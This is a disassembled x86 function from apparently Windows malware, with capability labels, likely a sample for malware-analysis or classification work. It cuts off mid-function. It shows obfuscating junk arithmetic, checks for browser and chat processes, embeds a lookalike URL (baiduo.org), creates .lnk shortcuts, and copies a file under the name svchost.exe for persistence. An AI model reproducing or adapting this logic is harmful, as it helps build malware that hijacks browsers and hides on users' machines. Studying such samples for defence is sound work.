Function at 0x404b30
Capabilities:
Copy file
Move file
Persist via lnk shortcut
Read .ini file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x101c
call fcn.00415f90
mov eax, dword [0x43d120]
mov ecx, dword [0x43c0c0]
mov dword [esp + 0x1018], eax
mov eax, dword [0x43c0b8]
push ebx
push esi
mov esi, dword [0x43c0b0]
push edi
lea edi, [eax + esi]
mov eax, 0x49f13bb3
imul edi, edi, 0x17928
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x49f13bb3
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43c0ac]
sub edi, eax
imul edx, edx, 0x94046
mov eax, ecx
imul eax, eax, 0x8386f
add edi, edx
mov edx, dword [0x43c0b4]
add edi, eax
mov eax, 0x7c32ca05
imul edx
sar edx, 0xf
add edi, edx
mov ebx, edx
mov eax, 0x3e565a5f
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
shr ebx, 0x1f
mov eax, 0x3e565a5f
imul esi
add ebx, edi
sub ebx, ecx
mov ecx, dword [0x43c0bc]
imul ecx, ecx, 0xff3e
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, ecx
mov ecx, dword [ebp + 8]
mov dword [0x43c0cc], eax
mov eax, ecx
mov dword [esp + 0x1c], 0
lea esi, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x404c10
sub eax, esi
cmp byte [eax + ecx - 1], 0x5c
je 0x404c41
mov eax, ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x404c25
sub eax, esi
cmp byte [eax + ecx - 1], 0x2f
je 0x404c41
mov edx, dword [ebp + 0xc]
push edx
push ecx
push str._s_s
jmp 0x404c4b
mov edx, dword [ebp + 0xc]
push edx
push ecx
push 0x431f18
lea eax, [esp + 0x32c]
push eax
call fcn.0041681b
add esp, 0x10
push 0x80
lea ecx, [esp + 0x324]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, dword [0x43c0b0]
mov ecx, dword [0x43c0b8]
mov edi, dword [0x43c0bc]
sub edi, esi
imul edi, edi, 0xff3e
mov eax, 0x15b86ecf
imul ecx
imul ecx, ecx, 0x107d6
sar edx, 0xd
add edi, edx
mov ebx, edx
mov eax, 0x15b86ecf
imul esi
mov esi, dword [0x43c0b4]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
shr ebx, 0x1f
add ebx, edi
sub ebx, eax
mov eax, 0x15b86ecf
imul esi
imul esi, esi, 0x106d5
sar edx, 0xd
mov edi, edx
add ebx, edx
mov edx, dword [0x43c0c0]
mov eax, 0x49f13bb3
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43c0c8]
imul edx, edx, 0x8386f
shr edi, 0x1f
add edi, ebx
sub edi, eax
add edi, edx
add edi, ecx
lea eax, [edi + esi + 0x79ea]
mov dword [0x43c0c8], eax
xor eax, eax
push eax
mov ecx, 0x80
lea edi, [esp + 0xa24]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x924]
push ecx
push eax
lea edx, [esp + 0xa2c]
push edx
lea eax, [esp + 0x530]
push eax
lea ecx, [esp + 0x334]
push ecx
push 0
call fcn.00403970
add esp, 0x1c
test eax, eax
jl 0x4062b3
mov edi, dword [0x43c0b8]
mov eax, 0x49f13bb3
imul dword [0x43c0c0]
sar edx, 0xe
mov ebx, edx
mov eax, edi
imul eax, eax, 0x107d6
mov dword [esp + 0xc], eax
mov eax, dword [str._r_____r____]
shr ebx, 0x1f
add ebx, edx
mov edx, dword [0x43c0b0]
lea ecx, [eax + edx]
mov eax, 0x49f13bb3
imul ecx, ecx, 0x17928
imul dword [0x43c0c8]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43c0c4]
sub ecx, eax
imul edx, edx, 0x8386f
mov esi, dword [0x43c0bc]
add ecx, edx
mov eax, 0x7c32ca05
imul edi
sar edx, 0xf
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov ecx, esi
imul ecx, ecx, 0x796
sub eax, ecx
mov ecx, eax
mov eax, 0x3e565a5f
imul dword [str._r_____r____]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x4030a4dd
imul edi
sar edx, 0xe
mov eax, edx
add ecx, edx
shr eax, 0x1f
add eax, ecx
mov ecx, dword [esp + 0xc]
sub eax, ebx
lea edx, [eax + ecx - 0x107d6]
mov dword [0x43c0c4], edx
xor eax, eax
mov cl, byte [esp + eax + 0x520]
mov byte [esp + eax + 0x120], cl
inc eax
test cl, cl
jne 0x404e10
lea eax, [esp + 0x120]
push eax
call fcn.00401500
mov eax, dword [ebp + 0x10]
add esp, 4
test eax, eax
jne 0x405471
mov ecx, dword [0x43c0b0]
sub esi, ecx
imul esi, esi, 0xff3e
mov eax, 0x15b86ecf
imul edi
sar edx, 0xd
add esi, edx
mov edi, edx
mov eax, 0x15b86ecf
imul ecx
sar edx, 0xd
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
shr edi, 0x1f
add edi, esi
sub edi, ecx
mov ecx, dword [0x43c0b4]
mov eax, 0x15b86ecf
imul ecx
imul ecx, ecx, 0x106d5
mov eax, dword [0x43c0c8]
imul eax, eax, 0x8386f
sar edx, 0xd
mov esi, edx
shr esi, 0x1f
add edi, edx
mov edx, dword [esp + 0xc]
add esi, edi
add esi, eax
add esi, ecx
sub esi, ebx
lea ecx, [esp + 0x120]
lea eax, [esi + edx + 0x79ea]
push str.iexplore.exe
push ecx
mov dword [0x43c0c8], eax
call fcn.004166d0
add esp, 8
test eax, eax
jne 0x404f33
lea edx, [esp + 0x120]
push str.360se.exe
push edx
call fcn.004166d0
add esp, 8
test eax, eax
jne 0x404f33
lea eax, [esp + 0x120]
push str.firefox.exe
push eax
call fcn.004166d0
add esp, 8
test eax, eax
jne 0x404f33
lea ecx, [esp + 0x120]
push str.ttraveler.exe
push ecx
call fcn.004166d0
add esp, 8
test eax, eax
jne 0x404f33
lea edx, [esp + 0x120]
push str.maxthon.exe
push edx
call fcn.004166d0
add esp, 8
test eax, eax
je 0x405465
mov esi, dword [0x43c0b0]
mov eax, dword [0x43c0b8]
mov ecx, dword [0x43c0c0]
lea edi, [eax + esi]
mov eax, 0x49f13bb3
imul edi, edi, 0x17928
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x49f13bb3
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43c0ac]
sub edi, eax
imul edx, edx, 0x94046
mov eax, ecx
imul eax, eax, 0x8386f
add edi, edx
mov edx, dword [0x43c0b4]
add edi, eax
mov eax, 0x7c32ca05
imul edx
sar edx, 0xf
add edi, edx
mov ebx, edx
mov eax, 0x3e565a5f
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
shr ebx, 0x1f
add ebx, edi
mov eax, 0x3e565a5f
imul esi
sub ebx, ecx
mov ecx, dword [0x43c0bc]
imul ecx, ecx, 0xff3e
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, ecx
mov ecx, 5
mov esi, str.http:__www.baiduo.org_
lea edi, [esp + 0xa20]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov dword [0x43c0cc], eax
xor eax, eax
movsb byte es:[edi], byte [esi]
mov dword [esp + 0xc], eax
nop
mov cl, byte [esp + eax + 0x320]
mov byte [esp + eax + 0x20], cl
inc eax
test cl, cl
jne 0x405000
lea edx, [esp + 0x20]
push 0x5c
push edx
call fcn.00416170
mov ecx, dword [str._r_____r____]
mov dword [esp + 0x1c], eax
mov eax, dword [0x43c0b0]
mov edx, dword [0x43c0c8]
lea ebx, [ecx + eax]
mov edi, dword [0x43c0c0]
imul ebx, ebx, 0x17928
mov eax, 0x49f13bb3
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov esi, dword [0x43c0b8]
mov eax, 0x49f13bb3
imul edi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43c0c4]
sub ebx, eax
imul edx, edx, 0x8386f
add ebx, edx
mov eax, 0x7c32ca05
imul esi
sar edx, 0xf
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov edx, esi
imul edx, edx, 0x107d6
add eax, edx
mov edx, dword [0x43c0bc]
imul edx, edx, 0x796
sub eax, edx
mov ebx, eax
mov eax, 0x3e565a5f
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x4030a4dd
imul esi
sar edx, 0xe
mov eax, edx
add ebx, edx
mov edx, dword [esp + 0x1c]
shr eax, 0x1f
add esp, 8
test edx, edx
lea eax, [eax + ebx - 0x107d6]
mov dword [0x43c0c4], eax
je 0x40511a
inc edx
push 0x5c
push edx
call fcn.00416170
add esp, 8
test eax, eax
je 0x405109
mov ecx, dword [str.abc.lnk]
mov dword [eax + 1], ecx
mov edx, dword [0x431eb8]
mov dword [eax + 5], edx
jmp 0x4051cc
mov ecx, dword [str._r_____r____]
mov edi, dword [0x43c0c0]
mov eax, dword [0x43c0c4]
mov edx, dword [0x43c0b0]
imul eax, eax, 0xdd94
lea ebx, [ecx + edx]
mov edx, dword [0x43c0bc]
imul ebx, ebx, 0x17928
add edx, edi
imul edx, edx, 0xff3e
add ebx, edx
add ebx, eax
mov esi, dword [0x43c0ac]
mov eax, 0x49f13bb3
imul edi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x49f13bb3
imul esi
imul esi, esi, 0x94045
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x3e565a5f
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x43c0cc]
imul edx, edx, 0x106d4
add ebx, esi
sub ebx, ecx
push 3
lea eax, [esp + 0x324]
sub ebx, edx
push eax
lea ecx, [esp + 0x28]
sub ebx, 0xff3e
push ecx
mov dword [0x43c0c0], ebx
call fcn.00416930
mov edx, dword [str.abc.lnk]
mov eax, dword [0x431eb8]
add esp, 0xc
mov dword [esp + 0x23], edx
mov dword [esp + 0x27], eax
push 0
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x328]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, dword [0x43c0b8]
mov dword [esp + 0x14], eax
mov eax, dword [0x43c0b0]
lea esi, [ecx + eax]
mov ecx, dword [0x43c0c0]
imul esi, esi, 0x17928
mov edi, dword [0x43c0ac]
mov eax, 0x49f13bb3
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x43c0c8]
lea ebx, [edx + edi]
mov eax, 0x49f13bb3
imul ebx, ebx, 0x107d6
imul dword [str._r_____r____]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edx, edi
imul edx, edx, 0x8386f
add ebx, edx
mov edx, dword [0x43c0c4]
mov eax, 0x7c32ca05
imul edx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x3e565a5f
imul dword [0x43c0b0]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43c0bc]
imul edx, edx, 0xff3e
sub ebx, eax
mov eax, dword [0x43c0cc]
add ebx, edx
sub ebx, ecx
add ebx, esi
lea edx, [ebx + eax + 0x107ce]
mov eax, dword [esp + 0x14]
test eax, eax
mov dword [0x43c0bc], edx
jne 0x4052d8
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x924]
push ecx
push 0
lea edx, [esp + 0xa2c]
push edx
lea eax, [esp + 0x530]
push eax
lea ecx, [esp + 0x334]
push ecx
push 0
call fcn.00403970
add esp, 0x1c
jmp 0x40539f
mov ebx, dword [0x43c0b8]
mov eax, 0x49f13bb3
imul ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, edi
imul edx, edx, 0xb4759
sub edx, eax
mov dword [esp + 0x14], edx
mov eax, 0x3e565a5f
imul ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x14]
sub edx, eax
mov dword [esp + 0x14], edx
mov eax, 0x3e565a5f
imul edi
mov eax, dword [esp + 0x14]
sar edx, 0xe
add eax, edx
mov edi, edx
shr edi, 0x1f
add edi, eax
mov eax, dword [0x43c0bc]
imul eax, eax, 0xff3e
add edi, eax
sub edi, ecx
mov ecx, dword [str._r_____r____]
add edi, esi
lea edx, [edi + ecx - 0x107d6]
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x924]
push ecx
push 0
mov dword [0x43c0b8], edx
lea edx, [esp + 0xa2c]
push edx
lea eax, [esp + 0x530]
push eax
lea ecx, [esp + 0x34]
push ecx
push 0
call fcn.00403970
mov eax, dword [esp + 0x28]
add esp, 0x1c
cmp eax, 1
jne 0x40539f
push 1
lea edx, [esp + 0x324]
push edx
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
mov edx, dword [0x43c0c0]
mov esi, dword [0x43c0b0]
mov ecx, dword [0x43c0bc]
lea edi, [ecx + esi]
imul ecx, ecx, 0x7f9f
mov eax, 0x49f13bb3
imul edi, edi, 0xbc94
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [0x43c0ac]
mov edx, eax
imul edx, edx, 0x83eb
add edi, edx
add edi, ecx
mov ecx, dword [0x43c0c8]
add ecx, eax
imul ecx, ecx, 0x8386f
mov eax, 0x7c32ca05
imul esi
sar edx, 0xf
lea ecx, [ecx + edi*2 - 0x17928]
add ecx, edx
mov esi, edx
shr esi, 0x1f
add esi, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x3e565a5f
imul ecx
mov ecx, dword [0x43c0b4]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x4030a4dd
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [esp + 0x120]
sub esi, ecx
push str.iexplore.exe
push edx
mov dword [0x43c0b4], esi
call fcn.004166d0
add esp, 8
test eax, eax
je 0x405465
mov dword [esp + 0x1c], 1
mov esi, dword [0x43c0bc]
mov edi, dword [0x43c0b8]
mov eax, dword [0x43c0b0]
imul edi, edi, 0x106d4
imul esi, esi, 0x1fe7c
mov ecx, dword [0x43c0c0]
mov edx, dword [0x43c0ac]
lea ebx, [ecx + eax]
imul edx, edx, 0x862b1
imul ebx, ebx, 0x17928
add ebx, edx
mov eax, 0x49f13bb3
imul ecx
mov ecx, dword [0x43c0b4]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x49f13bb3
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x3e565a5f
imul dword [str._r_____r____]
sar edx, 0xe
mov eax, edx
push str.C:WINDOWS_system321033_sda.txt
shr eax, 0x1f
push pe_nt_image_headers32
add eax, edx
sub ebx, ecx
lea edx, [esp + 0xc28]
push edx
push 0x431bcb
add ebx, edi
sub ebx, eax
lea ecx, [ebx + esi - 0x17928]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push str.setup
push str.gametool
mov dword [0x43c0b0], ecx
call esi
push str.C:WINDOWSHelphdger.xml
push pe_nt_image_headers32
lea eax, [esp + 0xd28]
push eax
push 0x431bcb
push str.setup
push str.gametool
call esi
mov ecx, dword [0x43c0b8]
mov esi, dword [0x43c0bc]
mov edx, dword [0x43c0b0]
mov edi, dword [0x43c0c0]
sub ecx, esi
lea ebx, [ecx + edx + 1]
mov ecx, dword [0x43c0ac]
imul ebx, ebx, 0x17928
mov eax, 0x49f13bb3
imul edi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x49f13bb3
imul ecx
imul ecx, ecx, 0x94045
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, ecx
mov ecx, dword [0x43c0c4]
mov eax, 0x3e565a5f
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, esi
imul eax, eax, 0xff3e
add eax, ecx
mov dword [esp + 0x14], eax
mov eax, 0x4030a4dd
imul edi
mov eax, dword [esp + 0x14]
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
add eax, ebx
add ecx, eax
lea edx, [esp + 0xd20]
mov dword [0x43c0ac], ecx
mov dword [esp + 0xc], edx
lea eax, [esp + 0xc20]
lea ecx, [ecx]
mov dl, byte [eax]
mov ebx, dword [esp + 0xc]
mov byte [esp + 0x13], dl
cmp dl, byte [ebx]
jne 0x405620
test dl, dl
je 0x40561c
mov dl, byte [eax + 1]
mov byte [esp + 0x13], dl
cmp dl, byte [ebx + 1]
jne 0x405620
add ebx, 2
add eax, 2
test dl, dl
mov dword [esp + 0xc], ebx
jne 0x4055f0
xor eax, eax
jmp 0x405625
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x405658
push 0
call fcn.004168ed
push eax
lea eax, [esp + 0xc28]
push 0x431e68
push eax
call fcn.0041681b
mov ecx, dword [0x43c0ac]
mov edi, dword [0x43c0c0]
mov esi, dword [0x43c0bc]
add esp, 0x10
cmp dword [ebp + 0x10], 1
jne 0x4062b3
mov edx, dword [0x43c0b8]
imul ecx, ecx, 0x94045
imul esi, esi, 0xff3e
mov eax, dword [0x43c0b0]
lea ebx, [edx + eax]
imul ebx, ebx, 0x17928
mov eax, 0x15b86ecf
imul dword [0x43c0c8]
sar edx, 0xd
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x49f13bb3
imul dword [0x43c0c4]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x49f13bb3
imul edi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x3e565a5f
imul dword [0x43c0c8]
mov eax, dword [0x43c0cc]
add ebx, ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
add esi, eax
sub ebx, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x4030a4dd
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
add esi, ebx
lea ecx, [eax + esi - 0x84107]
lea eax, [esp + 0x520]
mov dword [str._r_____r____], ecx
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x405715
sub eax, ecx
mov dword [esp + 0x14], eax
je 0x4062b3
lea edx, [esp + 0x520]
push 0
push edx
call fcn.00416873
add esp, 8
cmp eax, 0xffffffff
je 0x4062b3
mov ecx, dword [0x43c0c0]
mov esi, dword [str._r_____r____]
mov eax, dword [0x43c0b0]
mov edx, dword [0x43c0bc]
add edx, ecx
lea edi, [esi + eax]
imul edx, edx, 0xff3e
mov eax, dword [0x43c0c4]
imul edi, edi, 0x17928
imul eax, eax, 0xdd94
add edi, edx
add edi, eax
mov eax, 0x49f13bb3
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x43c0ac]
mov eax, 0x49f13bb3
imul ecx
imul ecx, ecx, 0x94045
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x3e565a5f
imul esi
add edi, ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x43c0cc]
imul edx, edx, 0x106d4
sub edi, ecx
sub edi, edx
sub edi, 0xff3e
mov dword [0x43c0c0], edi
xor eax, eax
lea ecx, [ecx]
mov cl, byte [esp + eax + 0x520]
mov byte [esp + eax + 0x720], cl
inc eax
test cl, cl
jne 0x4057e0
lea eax, [esp + 0x720]
push 0x5c
push eax
call fcn.004168c0
mov ecx, dword [0x43c0ac]
mov edx, dword [0x43c0c8]
mov ebx, dword [0x43c0b0]
mov edi, dword [0x43c0b8]
mov dword [esp + 0x14], eax
lea esi, [edx + ecx]
imul esi, esi, 0x107d6
lea eax, [edi + ebx]
imul eax, eax, 0x17928
add esi, eax
mov eax, 0x49f13bb3
imul dword [0x43c0c0]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x49f13bb3
imul dword [str._r_____r____]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov edx, ecx
imul edx, edx, 0x8386f
add esi, edx
mov edx, dword [0x43c0c4]
mov eax, 0x7c32ca05
imul edx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3e565a5f
imul ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43c0bc]
imul edx, edx, 0xff3e
sub esi, eax
add esi, dword [0x43c0cc]
mov eax, dword [esp + 0x14]
add esp, 8
test eax, eax
lea esi, [edx + esi + 0x107ce]
mov dword [0x43c0bc], esi
jne 0x4058f6
lea eax, [esp + 0x720]
push 0x2f
push eax
call fcn.004168c0
add esp, 8
test eax, eax
mov dword [esp + 0xc], eax
je 0x40629e
mov ebx, dword [0x43c0b0]
mov ecx, dword [0x43c0ac]
mov esi, dword [0x43c0bc]
mov edi, dword [0x43c0b8]
mov eax, 0x49f13bb3
imul esi, esi, 0xff3e
imul edi
sar edx, 0xe
add ebx, edi
mov eax, edx
imul ebx, ebx, 0x17928
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x49f13bb3
imul dword [0x43c0c0]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0xb4759
sub ebx, eax
add ebx, edx
mov eax, 0x3e565a5f
imul edi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x3e565a5f
imul ecx
mov eax, dword [esp + 0xc]
sar edx, 0xe
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
add ecx, dword [str._r_____r____]
add ecx, ebx
lea edx, [esi + ecx - 0x107d6]
mov ecx, dword [str.svchost.exe]
mov dword [0x43c0b8], edx
inc eax
mov dword [eax], ecx
mov edx, dword [0x431e60]
mov dword [eax + 4], edx
mov ecx, dword [0x431e64]
push 1
lea edx, [esp + 0x724]
mov dword [eax + 8], ecx
push edx
lea eax, [esp + 0x528]
push eax
call edi
test eax, eax
jne 0x405a8d
mov esi, dword [0x43c0b0]
mov ecx, dword [0x43c0b8]
lea edi, [ecx + esi]
mov ecx, dword [0x43c0c0]
imul edi, edi, 0x17928
mov eax, 0x49f13bb3
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x49f13bb3
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43c0ac]
sub edi, eax
imul edx, edx, 0x94046
mov eax, ecx
imul eax, eax, 0x8386f
add edi, edx
mov edx, dword [0x43c0b4]
add edi, eax
mov eax, 0x7c32ca05
imul edx
sar edx, 0xf
mov ebx, edx
add edi, edx
mov eax, 0x3e565a5f
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x3e565a5f
imul esi
shr ebx, 0x1f
add ebx, edi
sub ebx, ecx
mov ecx, dword [0x43c0bc]
imul ecx, ecx, 0xff3e
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
lea edx, [esp + 0x720]
add eax, ecx
push 0
push edx
mov dword [0x43c0cc], eax
call fcn.00416873
add esp, 8
inc eax
neg eax
sbb eax, eax
mov ecx, dword [esp + 0x1024]
call fcn.00415ffe
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x120]
push str.qq.exe
push eax
call fcn.004166d0
add esp, 8
test eax, eax
jne 0x405b48
lea ecx, [esp + 0x120]
push str.msnmsgr.exe
push ecx
call fcn.004166d0
add esp, 8
test eax, eax
jne 0x405b48
lea edx, [esp + 0x120]
push str.iexplore.exe
push edx
call fcn.004166d0
add esp, 8
test eax, eax
jne 0x405b48
lea eax, [esp + 0x120]
push str.firefox.exe
push eax
call fcn.004166d0
add esp, 8
test eax, eax
jne 0x405b48
lea ecx, [esp + 0x120]
push str.ttraveler.exe
push ecx
call fcn.004166d0
add esp, 8
test eax, eax
jne 0x405b48
lea edx, [esp + 0x120]
push str.maxthon.exe
push edx
call fcn.004166d0
add esp, 8
test eax, eax
jne 0x405b48
lea eax, [esp + 0x120]
push str.ttplayer.exe
push eax
call fcn.004166d0
add esp, 8
test eax, eax
je 0x405ce1
mov esi, dword [0x43c0b0]
mov ecx, dword [0x43c0b8]
lea ebx, [ecx + esi]
mov ecx, dword [0x43c0c0]
imul ebx, ebx, 0x17928
mov eax, 0x49f13bb3
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x49f13bb3
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43c0ac]
sub ebx, eax
imul edx, edx, 0x94046
mov eax, ecx
imul eax, eax, 0x8386f
add ebx, edx
mov edx, dword [0x43c0b4]
add ebx, eax
mov eax, 0x7c32ca05
imul edx
sar edx, 0xf
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x3e565a5f
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x3e565a5f
imul esi
sub ebx, ecx
mov ecx, dword [0x43c0bc]
imul ecx, ecx, 0xff3e
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
lea edx, [esp + 0x120]
add eax, ecx
push str.ttplayer.exe
push edx
mov dword [0x43c0cc], eax
call fcn.004166d0
add esp, 8
test eax, eax
je 0x405c23
mov eax, dword [0x4444bc]
add eax, 0xf4240
jmp 0x405cdc
lea eax, [esp + 0x120]
push str.iexplore.exe
push eax
call fcn.004166d0
add esp, 8
test eax, eax
je 0x405c4b
mov eax, dword [0x4444bc]
add eax, 0x186a0
jmp 0x405cdc
lea ecx, [esp + 0x120]
push str.firefox.exe
push ecx
call fcn.004166d0
add esp, 8
test eax, eax
je 0x405c70
mov eax, dword [0x4444bc]
add eax, 0x2710
jmp 0x405cdc
lea edx, [esp + 0x120]
push str.ttraveler.exe
push edx
call fcn.004166d0
add esp, 8
test eax, eax
je 0x405c95
mov eax, dword [0x4444bc]
add eax, 0x3e8
jmp 0x405cdc
lea eax, [esp + 0x120]
push str.maxthon.exe
push eax
call fcn.004166d0
add esp, 8
test eax, eax
je 0x405cb8
mov eax, dword [0x4444bc]
add eax, 0x64
jmp 0x405cdc
lea ecx, [esp + 0x120]
push str.qq.exe
push ecx
call fcn.004166d0
add esp, 8
test eax, eax
mov eax, dword [0x4444bc]
je 0x405cdb
add eax, 0xa
jmp 0x405cdc
inc eax
mov dword [0x4444bc], eax
mov edx, dword [0x43c0c0]
mov esi, dword [0x43c0b0]
mov ecx, dword [0x43c0bc]
lea ebx, [ecx + esi]
imul ecx, ecx, 0x7f9f
mov eax, 0x49f13bb3
imul ebx, ebx, 0xbc94
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [0x43c0ac]
mov edx, eax
imul edx, edx, 0x83eb
add ebx, edx
add ebx, ecx
mov ecx, dword [0x43c0c8]
add ecx, eax
imul ecx, ecx, 0x8386f
mov eax, 0x7c32ca05
imul esi
sar edx, 0xf
lea ecx, [ecx + ebx*2 - 0x17928]
add ecx, edx
mov esi, edx
shr esi, 0x1f
add esi, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x3e565a5f
imul ecx
mov ecx, dword [0x43c0b4]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x4030a4dd
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
push 0x104
lea edx, [esp + 0xe24]
push edx
sub esi, ecx
push 0
mov dword [0x43c0b4], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
lea ecx, [ecx]
mov cl, byte [esp + eax + 0x520]
mov byte [esp + eax + 0x720], cl
inc eax
test cl, cl
jne 0x405da0
mov ecx, dword [0x43c0c0]
mov eax, dword [0x43c0b0]
mov edx, dword [0x43c0ac]
lea esi, [ecx + eax]
imul edx, edx, 0x862b1
imul esi, esi, 0x17928
add esi, edx
mov eax, 0x49f13bb3
imul ecx
mov ecx, dword [0x43c0b4]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
